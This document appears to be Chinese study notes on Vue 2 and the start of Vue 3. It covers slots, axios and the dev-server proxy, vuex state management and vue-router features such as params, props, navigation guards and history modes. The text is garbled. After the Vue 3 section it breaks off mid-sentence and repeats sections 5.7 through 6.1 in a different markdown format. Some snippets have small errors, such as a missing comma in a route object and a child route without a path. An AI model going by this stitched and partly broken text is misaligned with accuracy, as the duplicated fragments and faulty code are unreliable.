        <template>
            <div>
               <!-- 定义插槽，将父组件中的<div>标签的内容放进来 -->
               <slot>插槽默认内容...</slot> 
            </div>
        </template>

​ (2) 具名插槽：

父组件中：
        <Category>
            <template slot="center"> 
               <div>html结构1</div>
            </template>
              <!-- 使用template标签就可以使用第二种写法，且必须是写法template标签中 -->
        	<template   v-slot:footer> 
               <div>html结构2</div>
         	</template>
            
        </Category>
子组件中：
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot name="center">插槽默认内容...</slot>
               <slot name="footer">插槽默认内容...</slot>
            </div>
        </template>

​ (3) 作用域插槽：

​ 1. 理解：数据在组件的自身，但根据数据生成的结构需要组件的使用者来决定。（games数据在Category组件中，但使用数据所遍历出来的结构由App组件决定）

​ 2. 具体案例：

父组件中：
		<Category>
  <!-- 必须使用template标签，在标签中使用scope属性，接收多个数据使用scope="{scopeData}" -->
			<template scope="scopeData">
				<ul>
					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category>
            <!-- 结构赋值使用slot-scope="{scopeData}" -->
			<template slot-scope="scopeData">
				<!-- 生成的是h4标题 -->
				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
			</template>
		</Category>
子组件中：
        <template>
            <div>
                <slot :games="games"></slot>
            </div>
        </template>
		
        <script>
            export default {
                name:'Category',
                props:['title'],
                //数据在子组件自身
                data() {
                    return {
                        games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                    }
                },
            }
        </script>

2.16 ES6模板字符串

1. 写法：用反引号（`）标识，用${ }将变量包起来

$('#result').append(`
  There are <b>${basket.count}</b> items
   in your basket, <em>${basket.onSale}</em>
  are on sale!
`);

​

第 3 章： vue-ajax

3.1 axios的使用

1. 引入axios (学习文档http://www.axios-js.com/zh-cn/docs/)

//下载
npm i axios
//引入
import axios from 'axios'
//使用axios
getStudents(){
				axios.get('http://localhost:8080/students').then(
					response => {
						console.log('请求成功了',response.data)
					},
					error => {
						console.log('请求失败了',error.message)
					}
				)
			}

2. 通过vue-cli配置代理服务器，解决跨域问题。

   （1）什么是跨域

   ​ 当一个请求url的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域

当前页面url	被请求页面url	是否跨域	原因
http://www.test.com/	http://www.test.com/index.html	否	同源（协议、域名、端口号相同）
http://www.test.com/	https://www.test.com/index.html	跨域	协议不同（http/https）
http://www.test.com/	http://www.baidu.com/	跨域	主域名不同（test/baidu）
http://www.test.com/	http://blog.test.com/	跨域	子域名不同（www/blog）
http://www.test.com:8080/	http://www.test.com:7001/	跨域	端口号不同（8080/7001）

​ （2）方法一

​ 官方文档：https://cli.vuejs.org/zh/config/#devserver-proxy

在vue.config.js文件中进行配置，并重启
devServer: {
    proxy: 'http://localhost:4000'  
    //这里的端口4000与服务器端口保持一致，在前端请求时的端口则是自己的端口
  }

说明：

1. 优点：配置简单，请求资源时直接发给前端（8080）即可。
2. 缺点：不能配置多个代理，不能灵活的控制请求是否走代理。
3. 工作方式：若按照上述配置代理，当请求了前端不存在的资源时，那么该请求会转发给服务器 （优先匹配前端资源）

​ （3）方法二

​ 编写vue.config.js配置具体代理规则：

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api1': ''} //将上面加的开头的请求路径变回空
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时，服务器收到的请求头中的host为：localhost:5000
   changeOrigin设置为false时，服务器收到的请求头中的host为：localhost:8080
   changeOrigin默认值为true
*/

说明：

1. 优点：可以配置多个代理，且可以灵活的控制请求是否走代理。
2. 缺点：配置略微繁琐，请求资源时必须加前缀。

3.2 vue-resource插件

1. 安装插件

   npm i vue-resource
   

2. 引用插件

   import vueResource from 'vue-resource'
   Vue.use(vueResource)  //插件的使用方式
   

3. 使用(this.$http.get这里与axios不同)

   //使用axios
   getStudents(){
   				this.$http.get('http://localhost:8080/students').then(
   					response => {
   						console.log('请求成功了',response.data)
   					},
   					error => {
   						console.log('请求失败了',error.message)
   					}
   				)
   			}
   

第 4 章： vuex

4.1. vuex 理解

1. 概念

   在Vue中实现集中式状态（数据）管理的一个Vue插件，对vue应用中多个组件的共享状态进行集中式的管理（读/写），也是一种组件间通信的方式，且适用于任意组件间通信。

   

（1）Actions、 Mutations 、State三者都是对象，都是由Store管理的

（2）有动作需要处理都在Actions中，如发送Ajax请求

（3）Actions、 Mutations 对象中的方法都是有两个参数，第二个参数都是value

（4）首先把数据放在State对象中，vc组件先调用dispatch()，然后进入Actions对象中，调用commit()，最后进入Mutations中，调用数据

（5）注意，在Actions中，如果没有复杂的业务逻辑需要处理的话，则在组件中直接调用commit()，跳过dispatch()。如下，两个方法中没有什么逻辑。

const actions = {
	/* jia(context,value){
		console.log('actions中的jia被调用了')
		context.commit('JIA',value)
	},
	jian(context,value){
		console.log('actions中的jian被调用了')
		context.commit('JIAN',value)
	}*/
	
}

//在组件调用时使用commit()，而不是dispatch()

methods: {
			increment(){
				this.$store.commit('JIA',this.n)
			},
			decrement(){
				this.$store.commit('JIAN',this.n)
			}
		
	}

2.何时使用？

​ 多个组件需要共享数据时。

3.搭建vuex环境

(1) 安装并使用vuex

npm i vuex@3   //vue2只能安装vuex3

(2) 创建vuex中最为核心的store，创建文件：src/store/index.js

//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions对象——响应组件中用户的动作
const actions = {}
//准备mutations对象——修改state中的数据
const mutations = {}
//准备state对象——保存具体的数据
const state = {}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state
})

(3) 在main.js中创建vm时传入store配置项

......
//引入store
import store from './store'
......

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	store
})

4.基本使用

（1）初始化数据、配置actions、配置mutations，操作文件store.js

//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//引用Vuex
Vue.use(Vuex)

const actions = {
    //响应组件中加的动作  
	jia(context,value){
		// console.log('actions中的jia被调用了',miniStore,value)
		context.commit('JIA',value) //JIA中是下面JIA()，一般大写区分这里的小写
	},
}

const mutations = {
    //执行加
	JIA(state,value){
		// console.log('mutations中的JIA被调用了',state,value)
		state.sum += value
	}
}

//初始化数据
const state = {
   sum:0
}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
})

（2）组件中读取vuex中的数据：this.$store.state.sum

（3）组件中修改vuex中的数据：$store.dispatch('action中的方法名',数据)或 $store.commit('mutations中的方法名',数据)， $store是在vc身上的，所以这样调用this.$store

备注：若没有网络请求或其他业务逻辑，组件中也可以越过actions，即不写dispatch，直接编写commit

4.2. vuex API

4.2.1. state

1. vuex 管理的状态对像

2. 用于保存数据的，作为数据源

const state = {
    xxx: initValue //数据的值，如 sum:0
}

4.2.2 actions

1. 包含多个事件回调函数的对象
   2) 通过执行: commit()来触发 mutation 的调用, 间接更新 state
   3) 谁来触发: 组件中: $store.dispatch(‘action 名称’, data1) // ‘zzz’
   4) 可以包含异步代码(定时器, ajax)

const actions = {
    xxx (context, value) { //xxx为dispatch方法中的名称，context为上下文，有很多API
        context.commit('yyy', value) //yyy为mutations中的方法名
    }
}

4.2.3 mutations

1. 包含多个直接更新 state 的方法(回调函数)的对象
   2) 谁来触发: action 中的 commit(‘mutation 名称’)
   3) 只能包含同步的代码, 不能写异步代码

const mutations = {
    yyy (state,value) {
        // 更新 state 的某个属性
    }
}

4.2.4. getters

1. 当state中的数据需要经过加工后再使用时。推荐数据加工复杂，且需要复用时使用getters。

2）在store.js中追加getters配置

3. 谁来读取: 组件中: $store.getters.xxx

const getters = {
    xxx (state) {
        return .. 

    }
}

4.2.5. 向外暴露 store 对象

export default new Vuex.Store({
    state,
    mutations,
    actions,
    getters
})

4.2.6. 计算属性的优化,四个map方法的使用

1. mapState, mapGetters这两个是写在computed属性中

// this.$store.state.sum需要复用多次的话，可以使用计算属性，直接写成sum
computed: {
 	sum(){
        return  this.$store.state.sum
    }   
}
//但是有很多个this.$store.state需要写的话，有以下解决方法
//借助mapState生成计算属性，从State中读取数据 

import {mapState, mapGetters,mapMutations,mapActions} from 'vuex'

computed: {
    //...为ES6中的基本语法，对象中包含对象，即把对象展开放入对象中（对象写法）
       ...mapState({sum:'sum',school:'school'}), 
    //数组写法，因为对象中的value值的引号不能去掉，则直接写成数组
       ...mapState(['sum','school']), 
           
           
    //this.$store.getters       
    //借助mapGetters生成计算属性：bigSum（对象写法）
    ...mapGetters({bigSum:'bigSum'}),

    //借助mapGetters生成计算属性：bigSum（数组写法）
    ...mapGetters(['bigSum'])
    } 
      
       
let a = 2;
// 下面两个等价的，前提是属性值是变量  
let obj = {a:a};
let obj = {a}; //对象的简写形式

//属性名可加引号也可不加引号，但属性值是变量时不加引号，加引号就是字符串了。所以不能简写
let obj ={a:'a'} 
       
       

2. mapMutations,mapActions这两个是写在methods属性中

   备注：mapActions与mapMutations使用时，若需要传递参数需要：在模板中绑定事件时传递好参数，否则参数是事件对象。

3. mapActions方法：用于帮助我们生成与actions对话的方法，即：包含$store.dispatch(xxx)的函数。注意：点击事件中要带参数

import {mapState, mapGetters,mapMutations,mapActions} from 'vuex'

methods:{
    //靠mapActions生成：incrementOdd、incrementWait（对象形式）
    ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

    //靠mapActions生成：incrementOdd、incrementWait（数组形式）
    ...mapActions(['jiaOdd','jiaWait'])
}

4. mapMutations方法：用于帮助我们生成与mutations对话的方法，即：包含$store.commit(xxx)的函数。注意：点击事件中要带参数

methods:{
    //靠mapActions生成：increment、decrement（对象形式）
    ...mapMutations({increment:'JIA',decrement:'JIAN'}),
    
    //靠mapMutations生成：JIA、JIAN（对象形式）
    ...mapMutations(['JIA','JIAN']),
}

备注：mapActions与mapMutations使用时，若需要传递参数需要：在模板中绑定事件时传递好参数，否则参数是事件对象

4.2.7. 映射 store

import store from './store'
new Vue({
    store
} 

4.3.模块化+命名空间

1. 目的：让代码更好维护，让多种数据分类更加明确。

2. 修改store.js

3. 可以将求和业务操作独立成一个文件，人员管理的独立成一个文件

   const countAbout = { //求和的业务操作
     namespaced:true,//开启命名空间
     state:{x:1},
     mutations: { ... },
     actions: { ... },
     getters: {
       bigSum(state){
          return state.sum * 10
       }
     }
   }
                 
   
   const personAbout = { //人员管理的业务操作
     namespaced:true,//开启命名空间
     state:{ ... },
     mutations: { ... },
     actions: { ... }
   }
   
   const store = new Vuex.Store({
     modules: {
       countAbout,
       personAbout
     }
   })
   
   

4. 开启命名空间后，组件中读取state数据：

   //方式一：自己直接读取
   this.$store.state.personAbout.list
   //方式二：借助mapState读取：
   ...mapState('countAbout',['sum','school','subject']),
   

5. 开启命名空间后，组件中读取getters数据：

   //方式一：自己直接读取
   this.$store.getters['personAbout/firstPersonName']
   //方式二：借助mapGetters读取：
   ...mapGetters('countAbout',['bigSum'])
   

6. 开启命名空间后，组件中调用dispatch

   //方式一：自己直接dispatch
   this.$store.dispatch('personAbout/addPersonWang',person)
   //方式二：借助mapActions：
   ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
   

7. 开启命名空间后，组件中调用commit

   //方式一：自己直接commit
   this.$store.commit('personAbout/ADD_PERSON',person)
   //方式二：借助mapMutations：
   ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
   

第5章：路由router

1. 理解： 一个路由（route）就是一组映射关系（key - value），多个路由需要路由器（router）进行管理。
2. 前端路由：key是路径，value是组件。

5.1.基本使用

1. 安装vue-router，命令：npm i vue-router

2. 应用插件：Vue.use(VueRouter)

3. 编写router配置项（路径：router/index.js）

   //引入VueRouter
   import VueRouter from 'vue-router'
   //引入Luyou 组件
   import About from '../components/About'
   import Home from '../components/Home'
   
   //创建router实例对象，去管理一组一组的路由规则
   const router = new VueRouter({
   	routes:[
   		{
   			path:'/about',
   			component:About
   		},
   		{
   			path:'/home',
   			component:Home
   		}
   	]
   })
   
   //暴露router
   export default router
   

4. 实现切换（active-class可配置高亮样式）

<!-- 原始html中我们使用a标签实现页面的跳转 -->
<!-- <a class="list-group-item active" href="./about.html">About</a> -->
<!-- Vue中借助router-link标签实现路由的切换, active-class="active"选中的时候切换active效果 --> 
<router-link active-class="active" to="/about">About</router-link>

5. 指定展示位置

<router-view></router-view>

5.2.几个注意点

1. 路由组件通常存放在pages文件夹，一般组件通常存放在components文件夹。
2. 通过切换，“隐藏”了的路由组件，默认是被销毁掉的，需要的时候再去挂载。
3. 每个组件都有自己的$route属性，里面存储着自己的路由信息。
4. 整个应用只有一个router，可以通过组件的$router属性获取到。

5.3.多级路由（多级路由）

1. 配置路由规则，使用children配置项：

   routes:[
   	{
   		path:'/about',
   		component:About,
   	},
   	{
   		path:'/home',
   		component:Home,
   		children:[ //通过children数组配置子级路由
   			{
   				path:'news', //此处一定不要写：/news
   				component:News
   			},
   			{
   				path:'message',//此处一定不要写：/message
   				component:Message
   			}
   		]
   	}
   ]
   

2. 跳转（要写完整路径，带上父路由路径）：

   <router-link to="/home/news">News</router-link>
   

5.4.路由的query参数

1. 传递参数

   <!-- 跳转路由并携带query参数，to的字符串写法 -->
   <li v-for="m in messageList" :key="m.id">
   <!-- <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link>&nbsp;&nbsp; -->
   
   			
   <!-- 跳转并携带query参数，to的对象写法 -->
   <router-link 
   	:to="{
   		path:'/home/message/detail',
   		query:{
   		  id:m.id,
   		  title:m.title
   		}
   	}"
   >
   {{m.title}}
   </router-link>
   </li>
   

2. 接收参数：

   $route.query.id
   $route.query.title
   

5.5.命名路由

1. 作用：可以简化路由的跳转。

2. 如何使用

   （1）给路由命名：

   {
   	path:'/demo',
   	component:Demo,
   	children:[
   		{
   			path:'test',
   			component:Test,
   			children:[
   				{
                       name:'hello' //给路由命名，要给谁命名就在谁身上加name属性
   					path:'welcome',
   					component:Hello,
   				}
   			]
   		}
   	]
   }
   

   （2）简化跳转：

   <!--简化前，需要写完整的路径 -->
   <router-link to="/demo/test/welcome">跳转</router-link>
   
   <!--简化后，直接通过名字跳转 -->
   <router-link :to="{name:'hello'}">跳转</router-link>
   
   <!--简化写法配合传递参数 -->
   <router-link 
   	:to="{
   		name:'hello',
   		query:{
   		   id:666,
               title:'你好'
   		}
   	}"
   >跳转</router-link>
   

6.路由的params参数

1. 配置路由，声明接收params参数

{
	path:'/home',
	component:Home,
	children:[
		{
			path:'news',
			component:News
		},
		{
			component:Message,
			children:[
				{
					name:'xiangqing',
					path:'detail/:id/:title', //使用占位符声明接收params参数
					component:Detail
				}
			]
		}
	]
}

2. 传递参数

<!-- 跳转并携带params参数，to的字符串写法，也可以字符串模板写法 -->
<router-link :to="/home/message/detail/666/你好">跳转</router-link>
				
<!-- 跳转并携带params参数，to的对象写法 -->
<router-link 
	:to="{
		name:'xiangqing', //使用params必须要加name属性
		params:{
		   id:666,
           title:'你好'
		}
	}"
>跳转</router-link>

特别注意：路由携带params参数时，若使用to的对象写法，则不能使用path配置项，必须使用name配置！

3. 接收参数：

$route.params.id
$route.params.title

5.7.路由的props配置

​ 作用：让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法：props值为对象，该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法：props值为布尔值，布尔值为true，则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法：props值为函数，该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props(route){  //或者   props(query){
		return {
			id:route.query.id,   // id:query.id
			title:route.query.title
		}
	}
}
//在对应的组件中使用props属性接收数据
props:['id','title'] 

5.8.<router-link>的replace属性

1. 作用：控制路由跳转时操作浏览器历史记录的模式
2. 浏览器的历史记录有两种写入方式：分别为push和replace，push是追加历史记录，replace是替换当前记录。路由跳转时候默认为push
3. 如何开启replace模式：<router-link replace .......>News</router-link>

5.9.编程式路由导航

1. 作用：不借助<router-link>实现路由跳转，让路由跳转更加灵活

2. 具体案例：

   // 会解析为<a><a/>标签
   <router-link :to="{
   	name:'xiangqing',
       query:{
           id:m.id,
           title:m.title
       }
   }">
   
   //使用<button>标签时，跳转使用下面API
   //$router的两个API
   this.$router.push({
   	name:'xiangqing',
   		params:{
   			id:xxx,
   			title:xxx
   		}
   })
   
   this.$router.replace({
   	name:'xiangqing',
   		params:{
   			id:xxx,
   			title:xxx
   		}
   })
   this.$router.forward() //前进
   this.$router.back() //后退
   this.$router.go() //可前进也可后退
   

5.10.缓存路由组件

1. 作用：让不展示的路由组件保持挂载，不被销毁。

2. 具体案例：

   <keep-alive include="News"> <!--不写缓存哪个组件就会缓存展示在此的所有组件 -->
       <router-view></router-view>
   </keep-alive>
   

5.11.两个新的生命周期钩子

1. 作用：路由组件所独有的两个钩子，用于捕获路由组件的激活状态。
2. 具体名字：
   1. activated路由组件被激活时触发。切到此组件时为激活
   2. deactivated路由组件失活时触发。切走此组件时为失活

5.12.路由守卫

1. 作用：对路由进行权限控制（有点像后端的拦截器，遇到next() 就放行通过，否则拦截所有组件）

2. 分类：全局守卫、独享守卫、组件内守卫

3. 全局守卫:

   routes:[
   		{
   			name:'guanyu',
   			path:'/about',
   			component:About,
   			meta:{isAuth:false，title:"关于"}//路由中要加东西，在meta中加，这里方便拦截false的组件
   		}
   ]
   //全局前置守卫：初始化时执行、每次路由切换前执行
   router.beforeEach((to,from,next)=>{
   	console.log('beforeEach',to,from)
   	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
   		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
   			next() //放行
   		}else{
   			alert('暂无权限查看')
   			// next({name:'guanyu'})
   		}
   	}else{
   		next() //放行
   	}
   })
   
   //全局后置守卫：初始化时执行、每次路由切换后执行
   router.afterEach((to,from)=>{
   	console.log('afterEach',to,from)
   	if(to.meta.title){ 
   		document.title = to.meta.title //修改网页的title常常用到
   	}else{
   		document.title = 'vue_test'
   	}
   })
   

4. 独享守卫（哪个路由需要就在哪个路由内写，而且没有后置守卫）

   routes:[
   		{
   			name:'guanyu',
   			path:'/about',
   			component:About,
   			meta:{isAuth:false，title:"关于"},//路由中要加东西，在meta中加，这里方便拦截false的组件
               //独享路由
               beforeEnter(to,from,next){
   			console.log('beforeEnter',to,from)
   			if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
   				if(localStorage.getItem('school') === 'atguigu'){
   					next()
   				}else{
   					alert('暂无权限查看')
   					// next({name:'guanyu'})
   					}
   			}else{
   				next()
   					}
   			}
   		}
   ]
   
   

5. 组件内守卫（在组件内写）：

   //进入守卫：通过路由规则，进入该组件时被调用
   beforeRouteEnter (to, from, next) {
   },
   //离开守卫：通过路由规则，离开该组件时被调用
   beforeRouteLeave (to, from, next) {
   }
   

5.13.路由器的两种工作模式

1. 对于一个url来说，什么是hash值？—— #及其后面的内容就是hash值。

2. hash值不会包含在 HTTP 请求中，即：hash值不会带给服务器。

3. hash模式：

   1. 地址中永远带着#号，不美观 。
   2. 若以后将地址通过第三方手机app分享，若app校验严格，则地址会被标记为不合法。
   3. 兼容性较好。

4. history模式：

   1. 地址干净，美观 。
   2. 兼容性和hash模式相比略差。
   3. 应用部署上线时需要后端人员支持，解决刷新页面服务端404的问题。或者使用node.js的一个插件：connect-history-api-fallback，去npm网站搜索。

第六章：vue3

6.1 工程结构的不同

（1）模板不需要根标签

<template>
	<!-- Vue3组件中的模板结构可以没有根标签 -->
	<img alt="Vue logo" src="./assets/logo.png">
	<HelloWorld msg="Welcome to Your Vue.js App"/>
</template>

(2) main.js文件的不同

//引入的不再是Vue构造函数了，引入的是一个名为createApp的工厂函数
import { createApp } from 'vue'
import App from './App.vue'

//创建应用实例对象——app(类似于之前Vue2中的vm，但app比vm更“轻”)
const app = createApp(App)

//挂载
app.mount('#app')

，布尔值为true，则把路由收到的所有params参数通过props传给Detail组件
// props:true

//第三种写法：props值为函数，该函数返回的对象中每一组key-value都会通过props传给Detail组件
props(route){  //或者   props(query){
	return {
		id:route.query.id,   // id:query.id
		title:route.query.title
	}
}

}
//在对应的组件中使用props属性接收数据
props:[‘id’,‘title’]

### 5.8.```<router-link>```的replace属性

1. 作用：控制路由跳转时操作浏览器历史记录的模式
2. 浏览器的历史记录有两种写入方式：分别为```push```和```replace```，```push```是追加历史记录，```replace```是替换当前记录。路由跳转时候默认为```push```
3. 如何开启```replace```模式：```<router-link replace .......>News</router-link>```

### 5.9.编程式路由导航

1. 作用：不借助```<router-link> ```实现路由跳转，让路由跳转更加灵活

2. 具体案例：

   ```js
   // 会解析为<a><a/>标签
   <router-link :to="{
   	name:'xiangqing',
       query:{
           id:m.id,
           title:m.title
       }
   }">
   
   //使用<button>标签时，跳转使用下面API
   //$router的两个API
   this.$router.push({
   	name:'xiangqing',
   		params:{
   			id:xxx,
   			title:xxx
   		}
   })
   
   this.$router.replace({
   	name:'xiangqing',
   		params:{
   			id:xxx,
   			title:xxx
   		}
   })
   this.$router.forward() //前进
   this.$router.back() //后退
   this.$router.go() //可前进也可后退

5.10.缓存路由组件

1. 作用：让不展示的路由组件保持挂载，不被销毁。

2. 具体案例：

   <keep-alive include="News"> <!--不写缓存哪个组件就会缓存展示在此的所有组件 -->
       <router-view></router-view>
   </keep-alive>
   

5.11.两个新的生命周期钩子

1. 作用：路由组件所独有的两个钩子，用于捕获路由组件的激活状态。
2. 具体名字：
   1. activated路由组件被激活时触发。切到此组件时为激活
   2. deactivated路由组件失活时触发。切走此组件时为失活

5.12.路由守卫

1. 作用：对路由进行权限控制（有点像后端的拦截器，遇到next() 就放行通过，否则拦截所有组件）

2. 分类：全局守卫、独享守卫、组件内守卫

3. 全局守卫:

   routes:[
   		{
   			name:'guanyu',
   			path:'/about',
   			component:About,
   			meta:{isAuth:false，title:"关于"}//路由中要加东西，在meta中加，这里方便拦截false的组件
   		}
   ]
   //全局前置守卫：初始化时执行、每次路由切换前执行
   router.beforeEach((to,from,next)=>{
   	console.log('beforeEach',to,from)
   	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
   		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
   			next() //放行
   		}else{
   			alert('暂无权限查看')
   			// next({name:'guanyu'})
   		}
   	}else{
   		next() //放行
   	}
   })
   
   //全局后置守卫：初始化时执行、每次路由切换后执行
   router.afterEach((to,from)=>{
   	console.log('afterEach',to,from)
   	if(to.meta.title){ 
   		document.title = to.meta.title //修改网页的title常常用到
   	}else{
   		document.title = 'vue_test'
   	}
   })
   

4. 独享守卫（哪个路由需要就在哪个路由内写，而且没有后置守卫）

   routes:[
   		{
   			name:'guanyu',
   			path:'/about',
   			component:About,
   			meta:{isAuth:false，title:"关于"},//路由中要加东西，在meta中加，这里方便拦截false的组件
               //独享路由
               beforeEnter(to,from,next){
   			console.log('beforeEnter',to,from)
   			if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
   				if(localStorage.getItem('school') === 'atguigu'){
   					next()
   				}else{
   					alert('暂无权限查看')
   					// next({name:'guanyu'})
   					}
   			}else{
   				next()
   					}
   			}
   		}
   ]
   
   

5. 组件内守卫（在组件内写）：

   //进入守卫：通过路由规则，进入该组件时被调用
   beforeRouteEnter (to, from, next) {
   },
   //离开守卫：通过路由规则，离开该组件时被调用
   beforeRouteLeave (to, from, next) {
   }
   

5.13.路由器的两种工作模式

1. 对于一个url来说，什么是hash值？—— #及其后面的内容就是hash值。

2. hash值不会包含在 HTTP 请求中，即：hash值不会带给服务器。

3. hash模式：

   1. 地址中永远带着#号，不美观 。
   2. 若以后将地址通过第三方手机app分享，若app校验严格，则地址会被标记为不合法。
   3. 兼容性较好。

4. history模式：

   1. 地址干净，美观 。
   2. 兼容性和hash模式相比略差。
   3. 应用部署上线时需要后端人员支持，解决刷新页面服务端404的问题。或者使用node.js的一个插件：connect-history-api-fallback，去npm网站搜索。

第六章：vue3

6.1 工程结构的不同

（1）模板不需要根标签

<template>
	<!-- Vue3组件中的模板结构可以没有根标签 -->
	<img alt="Vue logo" src="./assets/logo.png">
	<HelloWorld msg="Welcome to Your Vue.js App"/>
</template>

(2) main.js文件的不同

//引入的不再是Vue构造函数了，引入的是一个名为createApp的工厂函数
import { createApp } from 'vue'
import App from './App.vue'

//创建应用实例对象——app(类似于之前Vue2中的vm，但app比vm更“轻”)
const app = createApp(App)

//挂载
app.mount('#app')